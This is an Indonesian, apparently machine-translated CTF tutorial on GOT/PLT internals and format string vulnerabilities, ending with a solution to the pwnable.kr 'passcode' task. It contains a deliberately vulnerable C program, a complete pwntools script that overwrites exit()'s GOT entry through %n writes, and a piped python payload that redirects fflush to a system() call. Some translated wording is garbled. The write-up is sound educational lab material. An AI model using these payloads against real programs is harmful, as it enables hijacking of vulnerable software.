Dalam artikel ini kita akan menganalisis: apa itu tabel global offset, tabel hubungan prosedur dan penulisan ulang melalui kerentanan string format. Kami juga akan menyelesaikan tugas ke-5 dari situs
pwnable.kr .
Informasi OrganisasiTerutama bagi mereka yang ingin mempelajari sesuatu yang baru dan berkembang di bidang informasi dan keamanan komputer, saya akan menulis dan berbicara tentang kategori berikut:
- PWN;
- kriptografi (Crypto);
- teknologi jaringan (Jaringan);
- membalikkan (Reverse Engineering);
- steganografi (Stegano);
- pencarian dan eksploitasi kerentanan WEB.
Selain itu, saya akan membagikan pengalaman saya dalam forensik komputer, analisis malware dan firmware, serangan pada jaringan nirkabel dan jaringan area lokal, melakukan pentest dan menulis eksploitasi.
Agar Anda dapat mengetahui tentang artikel baru, perangkat lunak, dan informasi lainnya, saya membuat
saluran di Telegram dan
grup untuk membahas masalah apa pun di bidang ICD. Juga, saya pribadi akan mempertimbangkan permintaan pribadi Anda, pertanyaan, saran dan rekomendasi
secara pribadi dan akan menjawab semua orang .
Semua informasi disediakan hanya untuk tujuan pendidikan. Penulis dokumen ini tidak bertanggung jawab atas kerusakan yang disebabkan seseorang sebagai akibat dari menggunakan pengetahuan dan metode yang diperoleh sebagai hasil dari mempelajari dokumen ini.
Tabel Hubungan Global dan Tabel Hubungan Prosedur
Pustaka yang terhubung secara dinamis dimuat dari file terpisah ke dalam memori saat boot atau pada saat runtime. Dan, oleh karena itu, alamat mereka di memori tidak diperbaiki untuk menghindari konflik memori dengan perpustakaan lain. Selain itu, mekanisme keamanan ASLR akan mengacak alamat setiap modul pada saat boot.
Global Offset Table (GOT) - Tabel alamat yang disimpan di bagian data. Ini digunakan saat run time untuk mencari alamat variabel global yang tidak dikenal pada waktu kompilasi. Tabel ini di bagian data dan tidak digunakan oleh semua proses. Semua alamat absolut yang dirujuk oleh bagian kode disimpan dalam tabel GOT ini. Bagian kode menggunakan offset relatif untuk mengakses alamat absolut ini. Dan dengan demikian, kode perpustakaan dapat dibagi oleh proses, bahkan jika mereka dimuat ke ruang alamat memori yang berbeda.
Tabel Tautan Prosedur (PLT) berisi kode lompatan untuk memanggil fungsi-fungsi umum yang alamatnya disimpan dalam GOT, yaitu PLT berisi alamat yang digunakan untuk menyimpan data alamat (alamat) dari GOT.
Pertimbangkan mekanisme menggunakan contoh:
- Dalam kode program, fungsi cetak eksternal disebut.
- Aliran kontrol masuk ke catatan n di PLT, dan transisi terjadi pada offset relatif, bukan alamat absolut.
- Pergi ke alamat yang tersimpan di GOT. Pointer fungsi yang disimpan dalam tabel GOT menunjuk kembali ke potongan kode PLT.
- Jadi, jika printf dipanggil untuk pertama kalinya, konverter penghubung dinamis dipanggil untuk mendapatkan alamat aktual dari fungsi target.
- Alamat printf ditulis ke tabel GOT, dan kemudian printf dipanggil.
- Jika printf dipanggil lagi dalam kode, resolver tidak akan lagi dipanggil karena alamat printf sudah disimpan dalam GOT.

Saat menggunakan pengikatan tertunda ini, pointer ke fungsi yang tidak digunakan pada saat run tidak diperbolehkan. Dengan demikian, ini menghemat banyak waktu.
Agar mekanisme ini berfungsi, bagian-bagian berikut ada dalam file:
- .got - berisi entri untuk GOT;
- .lt - berisi entri untuk PLT;
- .got.plt - berisi hubungan alamat GOT - PLT;
- .plt.got - berisi hubungan alamat PLT - GOT.
Karena bagian .got.plt adalah array dari pointer dan diisi selama eksekusi program (mis., Penulisan diperbolehkan di dalamnya), kita dapat menimpa salah satunya dan mengontrol aliran eksekusi program.
Memformat string
String format adalah string yang menggunakan penentu format. Penentu format ditunjukkan oleh simbol "%" (untuk memasukkan tanda persen, gunakan urutan "%%").
pritntf(βoutput %s 123β, βstrβ); output str 123
Penentu format yang paling penting:
- d - angka bertanda desimal, ukuran default, sizeof (int);
- x dan X adalah angka heksadesimal yang tidak ditandatangani, x menggunakan huruf kecil (abcdef), huruf besar X (ABCDEF), ukuran standarnya adalah sizeof (int);
- s - line output dengan nol terminating byte;
- n adalah jumlah karakter yang ditulis pada saat urutan perintah yang mengandung n muncul.
Mengapa memformat kerentanan string dimungkinkan
Kerentanan ini terdiri dari penggunaan salah satu fungsi format output tanpa menentukan format (seperti dalam contoh berikut). Jadi, kita sendiri dapat menentukan format output, yang mengarah pada kemampuan untuk membaca nilai dari stack, dan ketika menentukan format khusus, untuk menulis ke memori.
Pertimbangkan kerentanan dalam contoh berikut:
#include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> int main(){ char input[100]; printf("Start program!!!\n"); printf("Input: "); scanf("%s", &input); printf("\nYour input: "); printf(input); printf("\n"); exit(0); }
Dengan demikian, baris berikutnya tidak menentukan format output.
printf(input);
Kompilasi program.
gcc vuln1.c -o vuln -no-pie
Mari kita lihat nilai pada stack dengan memasukkan baris yang berisi penentu format.

Dengan demikian, saat memanggil printf (input), panggilan berikut dipicu:
printf(β%p-%p-%p-%p-%pβ);
Masih memahami apa yang ditampilkan oleh program. Fungsi printf memiliki beberapa argumen, yang merupakan data untuk string format.
Pertimbangkan contoh panggilan fungsi dengan argumen berikut:
printf(βNumber - %d, addres - %08x, string - %sβ, a, &b, c);
Ketika fungsi ini dipanggil, tumpukan akan terlihat sebagai berikut.

Jadi, ketika specifier format terdeteksi, fungsi mengambil nilai stack. Demikian pula, fungsi dari contoh kita akan mengambil 5 nilai dari tumpukan.

Untuk mengkonfirmasi di atas, kami menemukan string format kami di tumpukan.

Saat menerjemahkan nilai dari tampilan hex, kita mendapatkan string β% -p% AAAAβ. Artinya, kami bisa mendapatkan nilai dari tumpukan.
GOT menimpa
Mari kita periksa kemampuan untuk menulis ulang GOT melalui kerentanan string format. Untuk melakukan ini, mari kita loop program kami dengan menulis ulang alamat fungsi exit () ke alamat main. Kami akan menimpa menggunakan pwntools. Buat tata letak awal dan ulangi entri sebelumnya.
from pwn import * from struct import * ex = process('./vuln') payload = "AAAA%p-%p-%p-%p-%p-%p-%p-%p" ex.sendline(payload) ex.interactive()

Tetapi karena tergantung pada ukuran string yang dimasukkan, isi tumpukan akan berbeda, kami akan memastikan bahwa beban input selalu berisi jumlah karakter yang dimasukkan sama.
payload = ("%p-%p-%p-%p"*5).ljust(64, β*β)

payload = ("%p-%p-%p-%p").ljust(64, β*β)

Sekarang kita perlu mengetahui alamat GOT dari fungsi exit (), dan alamat fungsi utama. Alamat utama akan ditemukan menggunakan gdb.

Alamat GOT dari exit () dapat ditemukan menggunakan gdb dan objdump.


objdump -R vuln

Kami akan menulis alamat ini di program kami.
main_addr = 0x401162 exit_addr = 0x404038
Sekarang Anda perlu menulis ulang alamatnya. Untuk menambahkan ke stack, alamat fungsi exit () dan alamat setelahnya, mis. * (keluar ()) +1, dll. Anda dapat menambahkannya menggunakan memuat kami.
payload = ("%p-%p-%p-%p-"*5).ljust(64, "*") payload += pack("Q", exit_addr) payload += pack("Q", exit_addr+1)
Jalankan dan tentukan akun mana yang menampilkan alamat.

Alamat-alamat ini ditampilkan pada posisi 14 dan 15. Anda dapat menampilkan nilai pada posisi tertentu sebagai berikut.
payload = ("%14$p").ljust(64, "*")

Kami akan menulis ulang alamat dalam dua blok. Untuk memulai, kami akan mencetak 4 nilai sehingga alamat kami ada di posisi 2 dan 4.
payload = ("%p%14$p%p%15$p").ljust(64, "*")

Sekarang kami memecah alamat main () menjadi dua blok:
0x401162
1) 0x62 = 98 (tulis pada 0x404038)
2) 0x4011 - 0x62 = 16303 (tulis ke alamat 0x404039)
Kami menulisnya sebagai berikut:
payload = ("%98p%14$n%16303p%15$n").ljust(64, '*')
Kode lengkap:
from pwn import * from struct import * start_addr = 0x401162 exit_addr = 0x404038 ex = process('./vuln') payload = ("%98p%14$n%16303p%15$n").ljust(64, '*') payload += pack("Q", exit_addr) payload += pack("Q", exit_addr+1) ex.sendline(payload) ex.interactive()

Dengan demikian, program ini di-restart bukannya diakhiri. Kami menulis ulang alamat keluar ().
Solusi pekerjaan kode sandi
Kami mengklik ikon pertama dengan tanda tangan kode sandi, dan kami diberitahu bahwa kami perlu terhubung melalui SSH dengan tamu kata sandi.

Saat terhubung, kami melihat spanduk yang sesuai.

Mari cari tahu file apa yang ada di server, serta hak apa yang kita miliki.
ls -l

Jadi, kita dapat membaca kode sumber program, karena ada hak untuk membaca untuk semua orang, dan menjalankan program kode sandi dengan hak-hak pemilik (bit sticky diatur). Mari kita lihat hasil kodenya.

Ada kesalahan dalam fungsi login (). Dalam scanf (), argumen kedua dilewatkan bukan alamat variabel & passcode1, tetapi variabel itu sendiri, dan tidak diinisialisasi. Karena variabel belum diinisialisasi, ini berisi "sampah" tidak tertulis yang tersisa setelah instruksi sebelumnya. Artinya, scanf () akan menulis nomor ke alamat, yang akan menjadi data residual.

Jadi, jika sebelum memanggil fungsi login, kita bisa mendapatkan kendali atas area memori ini, maka kita dapat menulis nomor apa saja ke alamat mana pun (sebenarnya mengubah logika program).
Karena fungsi login () dipanggil segera setelah fungsi welcome (), mereka memiliki alamat bingkai tumpukan yang sama.

Mari kita periksa apakah kita dapat menulis data ke lokasi passcode1 mendatang. Buka program di gdb dan bongkar fungsi login () dan selamat datang (). Karena scanf memiliki dua parameter dalam kedua kasus, alamat variabel akan diteruskan ke fungsi terlebih dahulu. Dengan demikian, alamat passcode1 adalah ebp-0x10, dan namanya adalah ebp-0x70.


Sekarang, mari kita hitung alamat passcode1 relatif terhadap nama, asalkan nilai ebpnya sama:
(& nama) - (& passcode1) = (ebp-0x70) - (ebp-0x10) = -96
& passcode1 == & name + 96
Artinya, 4 byte terakhir dari nama - ini adalah "sampah" yang akan bertindak sebagai alamat untuk menulis ke fungsi login.
Dalam artikel tersebut, kami melihat bagaimana Anda dapat mengubah logika aplikasi dengan menulis ulang alamat di GOT. Mari kita lakukan di sini juga. Karena scanf () diikuti oleh flush, maka pada alamat fungsi ini di GOT, kami menulis alamat instruksi untuk memanggil fungsi system () untuk membaca flag.



Artinya, di alamat 0x804a004 Anda perlu menulis 0x80485e3 dalam bentuk desimal.
python -c "print('A'*96 + '\x04\xa0\x04\x08' + str(0x080485e3))" | ./passcode

Hasilnya, kami mendapat 10 poin, sejauh ini ini adalah tugas yang paling sulit.

File untuk artikel ini dilampirkan ke
saluran Telegram . Sampai jumpa di artikel berikut!
Kami berada di saluran telegram:
saluran di Telegram .